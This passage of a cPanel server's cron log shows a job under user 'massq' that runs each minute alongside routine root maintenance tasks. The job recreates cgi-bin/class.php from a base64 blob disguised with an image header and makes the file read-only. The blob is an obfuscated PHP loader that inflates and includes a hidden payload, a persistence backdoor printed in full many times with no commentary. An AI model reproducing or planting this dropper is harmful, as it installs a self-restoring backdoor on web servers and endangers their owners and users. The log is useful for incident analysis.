&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:20:01 server CROND[24524]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 05:20:01 server CROND[24523]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 05:20:01 server CROND[24526]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 05:20:01 server CROND[24527]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:20:01 server CROND[24528]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 05:21:01 server CROND[25337]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:22:01 server CROND[26255]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:23:01 server CROND[27061]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:24:01 server CROND[27879]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:25:01 server CROND[28680]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 05:25:01 server CROND[28681]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 05:25:01 server CROND[28682]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:26:01 server CROND[29335]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:27:01 server CROND[30265]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:27:01 server CROND[30266]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 05:28:01 server CROND[31060]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:29:01 server CROND[32098]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:30:01 server CROND[32728]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 05:30:01 server CROND[32732]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 05:30:01 server CROND[32740]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:30:01 server CROND[32741]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 05:30:01 server CROND[32743]: (root) CMD (/usr/local/cpanel/scripts/optimize_eximstats &gt; /dev/null 2&gt;&amp;1)
Nov 11 05:31:01 server CROND[1174]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
